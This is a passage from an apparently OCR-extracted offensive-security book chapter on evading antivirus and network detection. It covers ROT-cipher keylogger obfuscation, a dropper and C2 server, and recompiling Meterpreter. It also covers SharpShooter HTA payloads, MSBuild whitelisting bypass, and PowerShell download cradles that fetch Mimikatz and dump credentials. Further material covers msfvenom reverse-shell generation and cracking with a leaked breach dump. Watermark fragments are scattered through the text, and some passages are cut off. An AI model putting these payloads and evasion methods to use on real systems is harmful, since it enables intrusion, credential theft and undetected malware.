divisible by 5, since the tool sends the file every 5 minutes. If it is divisible by 5, it sets up
ar
the socket and attempts to connect to the C2. If the connection is successful, it sends the
file and runs the cleanup function. Then the loop sleeps for 59 seconds. The reason that
the sleep function is necessary is because this is all running in a constant loop, which
le
means the function will get the time, set up the connection, connect, and send the file in
seconds. Without the 59 second sleep time, the function would end up sending the file
possibly dozens of times in the 1 minute interval. The sleep function allows the loop to
wait long enough for the time to change to the next minute and therefore will only send
w.
Obfuscation
There are hundreds of different ways to perform obfuscation. Although this chapter can’t
go through them all, I wanted to provide you with some basic techniques and ideas to get
around AV.
As you may already know, AV tools look for specific strings. One of the simplest methods
that can be used to avoid AV is to create a simple rotation cipher and shift the characters of
the string. In the code below, there is a basic decrypt function that moves all strings by 6
characters (ROT6). This results in garbled strings that may not get detected by AV. At the
start of the program, the code will call a decrypt function to take an array of strings and
return them to their regular format. The decrypt function is shown below:
int decrypt(const char* string, char result[]){
int key = 6;
m
int len = strlen(string);
co
for(int n = 0; n < len; n++){
int symbol = string[n];
int e_symbol = symbol - key;
a.
result[n] = e_symbol;
}
ag
result[len] = ‘\0’;
rm
return 0;
}
ba
You can see an example of this in version 2 of the program here:
https://github.com/cheetz/ceylogger/tree/master/version2.
n-
Another method that can be used for evading antivirus is to call the functions in User32.dll
ar
using function pointers, instead of calling the function directly. To do this, first write a
function definition, then find the address of the function to call by using the Windows
GetProcAddress function, and lastly, assign the function definition pointer to the address
le
(http://bit.ly/2H0VboE).
ww
Version 3 of the program combines the string encryption from the previous example with
the method of calling the functions with pointers. It is interesting to note that, if you
submit the compiled binary to VirusTotal, you will no longer see User32.dll in the imports
section. In the photo below, the left image is Version 1 and the right image is Version 3
with calling pointers.
m
co
a.
ag
rm
You can find the whole source code for Version 3 at:
https://github.com/cheetz/ceylogger/tree/master/version3.
ba
In order to see if you have successfully evaded AV, the best option is to always test it
against live AV systems. In a real world campaign, I don’t recommend ever using
n-
VirusTotal, as your samples may be sent to the different vendors. However it is great for
testing/learning. For our payloads, here is the VirusTotal Comparison:
ar
For Version 1, 32bit, 11/66 triggered AV:
https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf
le
http://bit.ly/2IXfuQh
w.
Finally, if we compile Version 3 as a 64bit payload, we get 0/66!:
https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214b
http://bit.ly/2JNcBmc
m
co
a.
Lab:
Where do you go from here? The ideas are limitless! A little fix might be to
ag
obfuscate/encrypt the log.txt contents or to initiate an encrypted socket once the program
starts and then write the keystrokes right to that socket. On the receiving side, the server
would reconstruct the stream and write it to a file. This would stop the log data from
rm
being seen in plain text, as it currently is, and also prevent more artifacts from touching
disk.
ba
Another strong improvement would be to convert the executable into a DLL and then
inject the DLL into a running process. This would prevent even the process information
n-
from showing up in task manager. Though there are programs that will show you all of
the currently loaded DLLs on a system, injecting the DLL would be much stealthier.
Additionally, there are some programs that can reflectively load a DLL from memory
ar
co
When designing a dropper and corresponding server, there are a few things you need to
keep in mind. The purpose of the dropper is to be a use-and-burn piece of your arsenal,
meaning you will have to assume that using it in its current form will trigger detection in
a.
further campaigns.
ag
In order to make future campaigns easier, you will want to develop a standard server,
which you can use repeatedly. In the example, you will see a basic networking
implementation, which allows for new handlers to be registered for different messages.
rm
While this example only includes handlers for a LOAD_BLOB message type, you can
easily add new handlers to extend functionality. This makes for a good baseline, as you
have all your communication standardized.
ba
Another important step when writing droppers, or anything else you expect to be found
quickly and reverse engineered, is to sanitize your strings. Debug messages are great when
n-
you are first building software, relieving you from having to manually step through your
debugger to see why something’s breaking. However, if they are accidentally left in on
final release, you will make the analyst’s job much easier in reversing your malware.
ar
Many times anti-viruses will signature something off a unique string, or a constant value.
In the example, I use InfoLog() and ErrorLog(), which the pre-processor will compile out
on release builds. Using those macros, which check if _DEBUG is defined, will dictate
le
Shellcode vs DLLs
In the following example, you are able to have the dropper load either full DLLs or
shellcode. Generally with many public implants, you are able generate a full DLL, which
will download the DLL and then reflect it. Having your dropper load the DLL directly will
save you from making a few more API calls, remaining stealthier. Some implants might
not load correctly due to their headers being modified. If one of your implants isn’t
working properly and includes a method to generate shellcode, then this should solve your
problem. This is because their custom loader is usually written to fix up the headers and
load it from that DLL.
There is also a large amount of shellcode available online, sites like shell-storm.org hold
archives of shellcode written for specific purposes, some of which might come in handy
for your campaigns.
m
Running the Server
co
Building the server is straightforward. On your Custom THP Kali image, you will need to
run the following commands:
a.
For first-time compiling:
ag
cd /opt/
sudo apt-get install build-essential libssl-dev cmake git
git clone https://github.com/cheetz/thpDropper.git
cd thpDropper/thpd
rm
mkdir build
cd build
cmake ..
ba
make
n-
To run the server, after you compile it, you will type:
le
1 DLL This will send a normal DLL file to be reflectively loaded in the client
Although these payloads (shellcode/DLL) can be from any type of C2 tool
(Metasploit/Meterpreter, Cobalt Strike, etc), we will be using a Meterpreter payload for
our examples. Generating a Payload:
For Shellcode payloads:
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http
LHOST=<Your_IP> LPORT=<PORT>
EnableStageEncoding=True -f c
Note, you will have to take the output of msfvenom and only take
the raw shellcode (remove quotes, new lines, and anything not
shellcode).
m
To start the server: ./thpd ./shellcode.txt 0
For DLL payloads:
co
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http
LHOST=<Your_IP> LPORT=<PORT>
EnableStageEncoding=True -f dll > msf.dll
a.
To start the server: ./thpd ./msf.dll 1
ag
Client
The client functions in a similar way to the server, where it registers a handler for each
message type. On startup, it will attempt to call back to the server, and retry for n attempts
rm
if unable to connect or upon disconnect, and send a message asking for a blob to load. The
server will respond back with a BLOB_PACKET, which the client will recognize and
dispatch via the head->msg field. All packets must have the HEAD_PACKET field
ba
defined at the start, otherwise the network handler will not be able to recognize it, and
throw it away. Using the BuildPacketAndSend() function will correctly set up the head
packet, allowing the other side to decode it.
n-
To build the client, you will need Visual Studio and Git. Start by cloning the Git repository
ar
have done this, hit F7 and Visual Studio should generate the executables for you.
Most of the client’s configuration is accessible in the globals.cpp file, the three main
configuration settings you will want to change are the hostname, the port, and the packet
ww
duration. There are comments next to each one, telling you what they are. While you don’t
need to change the packet signature, changing it will modify the first 2 bytes of each
packet that are sent, which is used to identify that it is a valid connection on the server. If
you wish to obfuscate the IP and port, you could write code to decrypt them when they are
being accessed, and only store the encrypted version in the binary.
On the server side, in the main.cpp file, you can modify the port that the server is listening
on. This configuration is in the main function as the only parameter to
StartupNetworking(). If you decide to change the packet signature in the client, you will
need to modify the server to reflect that. This means that in include/lib/networking.h, the
PACKET_SIGNATURE value needs to match the global value in the client.
Adding New Handlers
The networking code base is set up to allow you to easily add new functionality. To do so,
m
you will need to create a callback function, with the prototype of void name() on the
co
client, or void name(int conn) on the server. These will be registered to an array of
handlers for your message types, and upon the head packet being validated, they will be
called. It is your responsibility in these functions to read your packet and data from the
a.
recv buffer. You will want to call recv() to a pointer on your packet’s structure, along with
the size of that packet. This will provide information about how much to pull off the recv
buffer. In this example, you will see that we read the BLOB_PACKET in our handler,
then used the value stored in packet.payloadLen to dictate how many bytes further we had
ag
to read. The same principle can be applied to other data types. If you want to send a string
containing the file path to some file on the victim’s computer, you would have a field in
the handler’s packet describing the length of the string, which you would send after the
rm
packet.
ba
Further Exercises
While this code will give you a solid base to work with, there are many ways you can
n-
improve it yourself. Adding a simple encryption layer to the transport layer would be
straightforward. You would want to create your own send and recv wrappers, which
decrypt/encrypt before calling the send and recv functions. An extremely easy way to do
this would be to use a multi byte XOR key, which while not very secure, would at least
ar
change your messages enough to not be easily identifiable. Another exercise could be to
extend the LoadBlobHandler() function to have a new LOAD_TYPE, which would load a
signed driver if the client is being run as administrator. This can be accomplished by using
le
the CreateService() and StartService() winapi calls. However, keep in mind that loading a
driver requires it to be on disk, which will trigger a file system mini-filter driver to pick it
up.
w.
ww
Recompiling Metasploit/Meterpreter to Bypass AV and
Network Detection
I really wanted to cover this topic. Be aware that this is going to be a little more advanced
and you will most likely run into some issues during compile time. There are plenty of
great tools like Metasploit/Meterpreter out there, but every antivirus and network intrusion
om
detection (NID) tool has developed signatures for it. We can try to obfuscate payloads
with Shikata Ga Nai and go over HTTPS, but that only goes so far. Any type of
obfuscation will generally have a stub signature to detect off of, AV will look into memory
for certain strings in certain locations, and networks perform man-in-the-middle inspection
.c
over HTTPS. So how can we do to keep using our favorite tools, while getting around all
the common protections? Let’s take the example of Metasploit/Meterpreter and see how
we can bypass all these hurdles. Our goals are to get around AV signatures on the binary,
ga
AV signatures in memory, and network signatures.
ma
In order to evade all these detection methods, we will need to do a few things. First, we
need to modify the Meterpreter payloads to make sure they aren’t easily detected with
signatures both on the network and in memory. Second, we modify the metsvc persistence
ar
module to prevent it from flagging anti-virus. Third, we compile portions of metsrv (the
actual Meterpreter payload) with Clang, to prevent it also from flagging anti-virus
signatures. Last, we will write our own stage0 payload, which downloads and executes
-b
metsrv/metsvc-server references:
ar
http://bit.ly/2H2kaUB
le
Modified Reflective DLL Injection to remove strings like ReflectiveLoader
http://bit.ly/2qyWfFK
ww
Many network products detect the stage 0/1/2 loaders of Meterpreter as they go across the
wire. Besides obfuscating our payload, we can also obfuscate the actual shellcode. One
example is to go through all the Ruby files for the different payload types and add random
nop sleds to avoid detection:
http://bit.ly/2JKUhdx
Custom Stage0 Payload:
http://bit.ly/2ELYkm8
LAB:
In this lab, we are going to take all of our modified Metasploit/Meterpreter code,
recompile it, and make sure that it can evade basic AV detection.
co
Before starting, review the build environment setup from Metasploit:
https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter
a.
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-
Metasploit-Development-Environment
ag
Requirements for Windows:
Visual Studio 2013 (VS2013) - Community edition is fine. Need C/C++
rm
installed with the install
LLVM 32bit installed for windows (install this AFTER visual studio and
make sure llvm toolchain installs) - Download LLVM 6 @
ba
http://releases.llvm.org/download.html
GNU Make installed on windows
(http://gnuwin32.sourceforge.net/packages/make.htm) - Make sure this is in
n-
your path or that you run it from its installed path where applicable.
Git-SCM (git-scm.com)
ar
heavily modified for your lab, but as a proof of concept. First, we need to pull down both
the framework and all the payloads:
git clone https://github.com/cyberspacekittens/metasploit-framework
w.
cd metasploit-payloads && git submodule init && git submodule update &&
cd ..
Although all the changes to modify strings, compile to clang, and payload nops are
already made in these repositories, be sure to review the Metasploit diff between these two
to see exactly what was changed.
Compile Metasploit/Meterpreter
The first thing we are going to do is recompile our metsvc and metsvc-server with our
updated changes. From Visual Studio 2013 Command Prompt for VS2013:
Go to the folder where the source code for our modified metsvc is.
cd metasploit-framework\external\source\metsvc\src
Compile using make:
“C:\Program Files (x86)\GnuWin32\bin\make.exe”
om
Move our newly created binaries to our meterpreter folder:
.c
copy metsvc.exe ........\data\meterpreter\
copy metsvc-server.exe ........\data\meterpreter\
ga
Next, modify our Meterpreter Payloads and compile them using the supplied .bat file:
cd metasploit-payloads\c\meterpreter
make.bat ma
ar
After everything is compiled, two folders are generated (x86 and x64). Copy all the
compiled DLLs to the meterpreter folder:
-b
ar
That is it for the server. We can now move the entire metasploit-framework folder to your
Kali System and start an HTTPS reverse handler
le
(windows/x64/meterpreter/reverse_https).
w.
any exploit or payload. This is a chunk of code which does one simple thing: connect
back, or listen, in our desired way (reverse_https, reverse_tcp, bind_tcp, etc) and then
receives a metsrv.dll file. It then loads this file in memory, and executes it. In essence, any
Stage 0 payload is just a glorified “download-and-execute” payload. Because this is how
all of Metasploit functions, there are advanced signatures and heuristics for Metasploit
specific behavior in many anti-virus solutions - even modifying the shellcode and adding
junk code will still flag due to the heuristic behavior. To get past this, we write our own
Stage 0 that performs the same function (download and execute in memory): we mirror
the download calls of Meterpreter’s reverse_https payload to fetch metsrv.dll from the
server, and then reflect it in memory and execute it.
The specific example payload provided here has some more advanced functionality. This
was done to allow it to be PIC (Position Independent) and with no imports. This code was
developed on top of thealpiste’s code
(https://github.com/thealpiste/C_ReverseHTTPS_Shellcode).
co
The example provided performs the following:
All code locates DLLs and functions in memory for execution; no imports are
used. This is accomplished by manually defining stubs for all functions used
a.
and then searching for them in memory.
Wininet is used to perform the actual HTTPS requests back to the configured
Metasploit handler.
ag
metsrv.dll is received, and the data blob is executed. The way Metasploit
serves these files means the entry-point is the beginning of the buffer.
rm
This functionality is the exact same process on how the payloads that are built into
msfvenom are executed. However, msfvenom adds these to template executables in a very
predictable, detectable manner, which is not configurable. Because of that, most AV
ba
identifies them all the time. Instead, with a little coding know-how, you can re-write the
functionality of the payloads, since they are small, and bypass any detection which
currently exists. This payload is known to bypass all AV, including Windows Defender, at
n-
m
every run
co
a.
ag
rm
ba
n-
ar
le
w.
ww
SharpShooter
As a Red Teamer, one of the most time consuming areas is creating payloads that evade
next generation AV and sandboxes. We are constantly looking for new methods to create
our initial stagers. One tool, called SharpShooter, takes a lot of the anti-sandboxing
techniques and James Forshaw’s DotNetToJScript to execute shellcode in Windows
scripting formats (CACTUSTORCH tool -
m
https://github.com/mdsecactivebreach/CACTUSTORCH).
co
From MDSec’s website on SharpShooter, “SharpShooter supports both staged and
stageless payload execution. Staged execution can occur over either HTTP(S), DNS or
a.
both. When a staged payload is executed, it will attempt to retrieve a C Sharp source code
file that has been zipped and then base64 encoded using the chosen delivery technique.
The C Sharp source code will be downloaded and compiled on the host using the .NET
ag
CodeDom compiler. Reflection is then subsequently used to execute the desired method
from the source code.” [https://www.mdsec.co.uk/2018/03/payload-generation-using-
sharpshooter/ ]
rm
Let’s walk through a quick example:
ba
1 - HTA Payload
The following anti-sandbox techniques are available:
You can pick your techniques to get around sandboxes from
ar
om
Set up a Meterpreter handler for your payload
Once you configure and develop your malware, move it to the web directory
.c
(malware.hta, malware.html, malware.payload), start your apache2 service, and start your
Meterpreter handler. You are now ready to social engineer your victim into visiting your
malicious site! The example given above was Sharpshooter’s SharePoint online template.
ga
When the victim visits your malicious page using IE/Edge, the HTA automatically
downloads and prompts to run. Once prompted and selected to run, the stager payload
will run, download the secondary payload (if sandbox controls are met), and execute our
Meterpreter payload in memory.
ma
ar
n -b
ar
Additional Information:
le
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
https://github.com/mdsecactivebreach/SharpShooter
w.
ww
Application Whitelisting Bypass
We have talked about the different ways to trigger PowerShell without running the
PowerShell code, but what if you can’t run custom binaries on the Windows System? The
concept of Application Bypass is to find default Windows binaries that can execute our
payloads. We have been on boxes like Domain Controllers that are locked down well and
coded execution is limited. There are different Windows files we could use to bypass
m
these restrictions—let’s go over a couple of them.
co
One Windows binary that is often talked about, which circumvents Application
Whitelisting, is MSBuild.exe. What is MSBuild.exe and what does it do? MSBuild is a
a.
default application within the .NET Framework and serves as a platform for building
.NET applications using a project file in XML format. We can abuse this feature by
creating our own malicious XML project file to execute a Meterpreter session, using a tool
ag
called GreatSCT.
rm
GreatSCT (https://github.com/GreatSCT/GreatSCT) has various Application Whitelisting
Bypasses that we can use, but we are just going to cover MSBuild. In this example, we
will create a malicious XML file that hosts a reverse_http Meterpreter session. This will
ba
require us to write the XML file to the victim system and use MSBuild to execute the
XML file:
git clone https://github.com/GreatSCT/GreatSCT.git /opt/
n-
cd /opt/GreatSCT
python3 ./gr8sct.py
[4] MSBUILD/msbuild.cfg
ar
w.
ww
In our Kali instance, we used GreatSCT to create the shellcode.xml file, which has both
build information and a Meterpreter reverse http shell. This file would need to be moved
to our victim system and called, using MSBuild.
*Note: I do see GreatSCT being actively built on the “develop” branch
(https://github.com/GreatSCT/GreatSCT/tree/develop), which includes https Meterpreter
and additional whitelisting bypasses. I assume by the time this book is released, it will be
moved to “master.”
m
co
Once executed on our Windows victim machine, using the command
a.
“C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml”, .NET
will start to build the shellcode.xml file. During this process, your victim machine will
spawn a reverse http Meterpreter session, bypassing any application whitelisting. You
ag
may want to edit the shellcode.xml file to put in obfuscated payloads, as the default
Meterpreter will most likely trigger AV. rm
ba
n-
ar
le
w.
There are many different ways to perform Application Whitelisting Bypasses that it would
be a book of its own. Here are some additional resources:
ww
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Code Caves
As with any Red Team campaign, we are always looking for creative ways to move
laterally within an environment or keep persistence. Usually, if we have credentials, we
try to execute payloads on a remote system using WMI or PSExec. There are times,
though when we need to find creative ways to move within an environment without being
easily tracked.
co
As Red Teamers, getting caught is not the worst thing that can happen during a campaign.
It is when we get caught and the Blue team finds every domain, IP, and compromised host
that was part of the campaign. It is generally pretty easy for Blue teamers to review the
a.
WMI/PSExec style connections to identify lateral movement, since it is not always seen as
normal traffic. So what can we do to hide our lateral movement a bit more?
ag
This is where we can get creative and there is no right answer (if it works, that’s good
enough for me). One of my favorite things to do once inside an environment is to identity
rm
the public shares and files that are actively shared/executed. We could try to add macros
to Office files, but that might come off too obvious. One attack that generally has low
detection, but high success rates, is embedding our custom malware inside executable
ba
binaries. This could be a shared binary like putty, a common internal thick client, or even
database tools.
n-
Although no longer maintained, one of the easiest tools to perform these attacks was
called Backdoor factory (https://github.com/secretsquirrel/the-backdoor-factory).
Backdoor factory would look for code caves or empty blocks within a real program, where
ar
an attacker can inject their own malicious shellcode. This was covered in THP2 and the
ideas remain the same.
le
Two great additional resources for backdooring executables can be found here:
https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves
w.
https://www.abatchy.com/2017/05/introduction-to-manual-
backdooring_24.html
ww
PowerShell Obfuscation
The problem with PowerShell Scripts today is that if you are dropping them onto disk,
many antivirus tools will pick them up. Even if you import them into memory, AV tools
that look in memory may sometimes alert on them, too.
om
Regardless, if you are importing them into memory from Cobalt Strike, Meterpreter, or
PowerShell Empire, it is important to make sure that we don’t get picked up by AV. If we
do, we should, at the very least, make it hard for IR/Forensic teams to reverse our attack
.c
payloads.
ga
We have all seen the commands for PowerShell like this:
Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -
ExecutionPolicy Bypass IEX (New-Object
ma
Net.WebClient).DownloadString(‘[PowerShell URL]’); [Parameters]
ar
This the most basic combination of strings we might see to bypass the execution policy,
run hidden/noninteractive, and to download and execute a PowerShell payload. For Blue
Teams, we have seen a lot of logging picked up on these specific parameters like “-Exec
Bypass”. So, we started obfuscating this parameter by some common PowerShell syntax:
-b
-ExecutionPolicy Bypass
-EP Bypass
n
-Exec Bypass
-Execution Bypass
ar
What is even crazier, and I give credit to Daniel Bohannon for identifying this, is that you
le
don’t actually need to do the full parameter string to get it to work. For example, for -
ExecutionPolicy Bypass, all of these examples will work:
-ExecutionPolicy Bypass
w.
-ExecutionPol Bypass
-Executio Bypass
-Exec Bypass
ww
-Ex Bypass
These same techniques will work for WindowStyle or even the EncodedCommand
parameter. Of course, these tricks will only get us so far and we need to create more
obfuscated transforms. To start, we can take a very simple example to execute our remote
PowerShell script (in this case Mimikatz) and dump hashes using an administrative
PowerShell Prompt:
Invoke-Expression (New-Object
Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -
DumpCreds
Going through (Invoke-Obfuscation), we can take this string and heavily obfuscate it
using several different techniques:
om
On Windows, download the PowerShell Files for Invoke-Obfuscation
(https://github.com/danielbohannon/Invoke-Obfuscation)
Load PowerShell script and start Invoke-Obfuscation
.c
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
Set your PowerShell Script you want to Obfuscate. In this case, we will
ga
obfuscate the Download and Dump Hashes from Mimikatz above.
SET SCRIPTBLOCK Invoke-Expression (New-Object
Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-
Mimikatz -DumpCreds
Encode the Payload
ENCODING
ma
In this case, I chose SecureString (AES), but you can play around with all the
ar
obfuscation techniques.
n -b
ar
le
w.
ww
If you look at the obfuscated string, there is a randomly generated key and an encrypted
secure string. Upon execution an administrative PowerShell, we still get the full payload
to execute.
m
co
a.
We can also go back to the main screen and create obfuscated launchers:
ag
main
launcher
CLIP++ rm
Choose your execution flags
ba
n-
ar
le
w.
ww
Even better is that if we look in the Windows PowerShell logs, it is very obfuscated and
could help evade AV and SEIM alerting tools.
m
co
In addition to Invoke-Obfuscation, Daniel created a tool that focuses on remote download
cradles called Invoke-CradleCrafter. “Invoke-CradleCrafter exists to aid Blue Teams and
Red Teams in easily exploring, generating and obfuscating PowerShell remote download
a.
cradles. In addition, it helps Blue Teams test the effectiveness of detections that may work
for output produced by Invoke-Obfuscation but may fall short when dealing with Invoke-
CradleCrafter since it does not contain any string concatenations, encodings, tick marks,
ag
type casting, etc.” [https://github.com/danielbohannon/Invoke-CradleCrafter]
rm
ba
n-
ar
le
w.
ww
PowerShell Without PowerShell:
You finally get remote code execution on a box, but you find out that you either can’t run
PowerShell.exe or the company is monitoring PowerShell.exe commands. What are your
options to get your PowerShell payload or C2 agents running on that host system?
m
NoPowerShell (NPS)
co
I love the concept of NoPowerShell or NPS. NPS, is a Windows Binary that executes
PowerShell through .Net, instead of directly calling PowerShell.exe. Although this is
generally flagged today by AV, we use the same concepts to create binaries to directly
a.
execute our PowerShell malware without needing PowerShell.exe. Ben0xA does give you
source, so feel free to try to obfuscate the binary to get around AV.
ag
NPS_Payload (https://github.com/trustedsec/nps_payload)
Another take on NPS is a tool by TrustedSec that takes advantage of executing code
rm
through MSBuild.exe. This tool generates a PowerShell payload into a msbuild_nps.xml
file that is executed when called. The XML file can be called by:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\
ba
<path_to_msbuild_nps.xml>
n-
SharpPick
SharpPick, a component of PowerPick, is a great tool that allows you to call PowerShell
without ever calling the PowerShell.exe binary. Within SharpPick, “the RunPS function
ar
After you download SharpPick
w.
http://www.sixdub.net/?p=555
https://bneg.io/2017/07/26/empire-without-powershell-exe/
There are times when dropping a binary on the host system might not be possible. In
those cases, we can create a Class Library (DLL file) that we can drop onto the system and
execute with “rundll32.exe runmalicious.dll,EntryPoint”.
Of course, the creation of these DLLs can be automatically done for Meterpreter or Cobalt
Strike, but it’s nice having the flexibility to run specific PowerShell payloads without ever
calling PowerShell.exe.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
HideMyPS
One tool that I wrote a few years ago, which still has great success is HideMyPS (found
here: https://github.com/cheetz/hidemyps). This was always just a POC tool, but it still
works even after all these years. The issue I was running into was that any PowerShell
script these days gets picked up by AV. For example, if we drop the normal Invoke-
Mimikatz.ps1 (http://bit.ly/2H3CNXS) on a Windows system with Windows Defender, it
om
will pick up the PowerShell script instantly and send red flags everywhere. This is one of
the major flaws of traditional AV and the fact that they generally look for very specific
strings in malware. Therefore, I put together a small Python script that takes a PowerShell
.c
script and obfuscates all the strings (this was only tested with a few scripts, so it is
nowhere near production code).
ga
HideMyPS will find all the functions and obfuscate them using ROT, remove all
comments from PowerShell scripts, and cut strings to evade static AV signatures. For the
PowerShell file:
cd /opt/HideMyPS
ma
next example, let’s take Invoke_Mimikatz.ps1 (http://bit.ly/2H3CNXS) and obfuscate the
ar
python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]
n -b
ar
Now, take a look at the difference between the original file and the new file you created.
le
First off, you can see the function names are all mixed up, variables have been changed,
strings have been broken in half, and all the comments are missing.
w.
ww
The one thing you have to remember is that we changed all the function names in the
PowerShell script. So, in order to call the functions, we are going to have to look back in
our obfuscated file and see what we did to replace “function Invoke-Mimikatz”. In this
case, Invoke-Mimikatz was changed to Vaibxr-Zvzvxngm. The following example was
run on a fully-patched Windows 10 with Defender completely up-to-date.
m
co
a.
ag
rm
ba
n-
r
l ea
w.
ww
Conclusion
As Red Teamers or Penetration Testers, it is always going to be a cat and mouse game
with host and network detection tools. This is why it is very important to be able to
understand how the underlying protections work, write lower-level code to interact
directly with Windows APIs versus shell commands, and to think outside the box and get
creative. If you focus on only using common tools, the likelihood that you will get
m
detected in a corporate environment is pretty high. If the tools are public, most likely the
co
security vendors are reversing these as quickly as they come out and developing signatures
for them. It is up to you to take the current attacks and exploit and craft them in a way so
that they are not recognized by these vendors.
a.
ag
rm
ba
n-
ar
le
w.
ww
8 special teams - cracking, exploits, and tricks
m
co
a.
ag
rm
ba
r n-
lea
w.
ww
This chapter focuses on a handful of different resources that I have found to be useful for
both Red Teams and Penetration Testing. These resources may not be used in every
campaign, but are great for specific scenarios or one-off cases.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Automation
As heuristic-based endpoint protections get better and better, our attacks need to become
quicker and quicker. We can generally write malware to evade AV and get through the
initial detections, but once we start making calls like Mimikatz (in memory) or moving
laterally to another host, we start to set off alarms. To counter this, I always tell Red
Teams to get caught on the first attempt. Usually, Blue Teams see this as a win when they
m
trigger on our basic/default style (or slightly obfuscated) malware, but the real purpose of
co
it is to just learn about their environment. This is accomplished by our initial payload
auto-running multiple reconnaissance scripts on the victim’s machine. In the next section,
we will go over some quick auto-run scripts that can help automate some of our attacks.
a.
ag
With Metasploit, we can efficiently and effectively run our post-exploitation scripts using:
Search all Post Exploitation Modules in Metasploit
msfconsole
rm
show post
ba
From the “post” results, select all the modules you want to include for auto-execution
when receiving a Meterpreter Shell. In this case, we are going to add a privilege migrate
post exploitation (http://bit.ly/2vn1wFB) to our attack. To configure the Meterpreter Shell
n-
so that it runs this payload on the initial connection from our compromised host, we need
to specify an AutoRunScript parameter. Feel free to add as many AutoRunScripts as you
need to dump information about the system/network, move laterally, and more!
ar
Creating a Handler and AutoRunScript:
le
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 10.100.100.9
set LPORT 443
ww
m
gedit /opt/empire_autoload.rc
co
Add all the post modules you want to execute:
usemodule situational_awareness/network/powerview/get_user
execute
back
a.
usermodule
situational_awareness/network/powerview/get_computer
execute
ag
back
Within Empire, load the autoload.rc resource file:
agents
rm
autorun /opt/empire_autoload.rc powershell
autorun show
ba
n-
ar
le
w.
As you can see, when the agent connected, it automatically ran the get_user and
get_computer PowerShell scripts. All the results of these scripts will be stored in the
agent.log file. In this case, our agent name is N6LM348G, so our logs will be stored in
ww
/opt/Empire/downloads/N6LM348G/agent.log.
m
https://github.com/harleyQu1nn/AggressorScripts
co
The Future of Automation
a.
Lastly, there are some cool projects that are moving toward automation, smart
compromise, and APT attacks. I heavily believe that automation of attack is going to be
the future of compromises and we will need the ability to test/validate our security
ag
controls. Two tools I see having great potential in starting this automation trend are:
Portia - https://github.com/SpiderLabs/portia
Caldera - https://github.com/mitre/caldera
rm
ba
n-
ar
le
w.
ww
Password Cracking
One of my newest and most favorite password lists comes from the recent 41GB password
dump that contains 1.4 billion username/passwords (http://bit.ly/2HqbYk8). Now, I don’t
want to link directly to the torrent as it does contain a lot of sensitive usernames (or
emails) and associated passwords, but you can search for BreachCompilation.tar.bz2 to
find more information about it. Please check with your laws before downloading this very
m
sensitive information. I do recommend, instead of grabbing the original dump, that you
co
just grab the password lists. I have taken the 41GB dump, stripped out all the
usernames/emails, and made a list of just passwords. It is located here:
http://thehackerplaybook.com/get.php?type=THP-password.
a.
On my personal system, I am using 8x Gigabyte GV-N108TTURBO-11GD AORUS
GeForce GTX 1080 Ti Turbo 11G Graphic Cards. For about $12,000, you can build one
ag
of your own, includes a chassis, RAM, power supply, SSD, and GPUs. Of course, the
chassis will require at least a 4U rackmount (for example: SYS-4028GR-TR2) and plenty
of power. Although definitely not cheap, we are cracking about 472,000,000,000 hashes
rm
per second, and bruteforcing NTLM (Windows) hashes. Here is a hashcat benchmark of
the eight GPUs: Hashmode: 1000 - NTLM
ba
cheap, you can look into cracking in the cloud. Recently, Amazon has integrated TESLA
GPUs (not the car) http://www.nvidia.com/object/tesla-servers.html, which are more
powerful than the 1080Tis. There is a great article on the Medium about setting up your
own cracking servers utilizing these GPUs: https://medium.com/@iraklis/running-hashcat-
v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b.
Statics from Iraklis Mathiopoulos article:
Hashmode: 1000 - NTLM:
Speed.Dev.#1…..: 79294.4 MH/s (33.81ms)
Speed.Dev.#2…..: 79376.5 MH/s (33.79ms)
Speed.Dev.#3…..: 79135.5 MH/s (33.88ms)
m
Speed.Dev.#4…..: 79051.6 MH/s (33.84ms)
co
Speed.Dev.#5…..: 79030.6 MH/s (33.85ms)
Speed.Dev.#6…..: 79395.3 MH/s (33.81ms)
Speed.Dev.#7…..: 79079.5 MH/s (33.83ms)
a.
Speed.Dev.#8…..: 79350.7 MH/s (33.83ms)
Speed.Dev.#*…..: 633.7 GH/s
ag
The total speeds for NTLM are about 34% greater than using the TESLA GPU cards. The
rm
total cost of running AWS is about $25 an hour. So, it is really up to you to figure out
your own budget, requirements and goals.
ba
Lab:
